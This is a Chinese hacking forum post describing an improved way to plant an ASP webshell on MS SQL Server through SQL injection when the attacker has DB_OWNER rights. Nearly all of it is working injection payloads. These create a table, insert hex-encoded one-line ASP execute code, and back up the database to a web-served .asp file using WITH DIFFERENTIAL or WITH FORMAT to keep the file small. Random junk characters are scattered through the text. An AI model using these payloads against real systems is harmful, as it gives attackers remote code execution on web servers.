DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:
+ _' R7 A: q1 ]: B$ F* V8 H/ Y) G
5 `" m1 g' v) T( n' M减少备份文件大小，得到可执行的webshell成功率提高不少
一利用差异备份
加一个参数WITH DIFFERENTIAL
+ Y4 S8 @+ o+ P4 L  e
, m# p) j, }* q: D% w9 g+ k1
5 D& o! ]0 d& s, q& H2
3
# g* a" A4 U. g: z. J8 b8 G* ^2 @( i4
  d2 j6 O$ O0 B( U- y' {9 ^ declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
4 v- Y6 }( H! l( |2 C4 t
1
' i2 \2 c6 b& u, T& j1 j( o0 m/ N) z2
3
4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
$ k# s2 _% N$ @' q1 P) M# Adeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

+ Z8 l* n& R9 A" y0 U1 o/ y0 g总的来说就是那么简单几句,下面以备份数据库model为例子
8 H( T% V4 y; I2 \0 g4 b1
) F. ~- v  _# N
1
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

( g0 I/ L" f6 Q# q; Q; E. E9 k2

1
0 e: K: m* M' F& F id=1;backup database model to disk='你的路径‘ with differential,format;--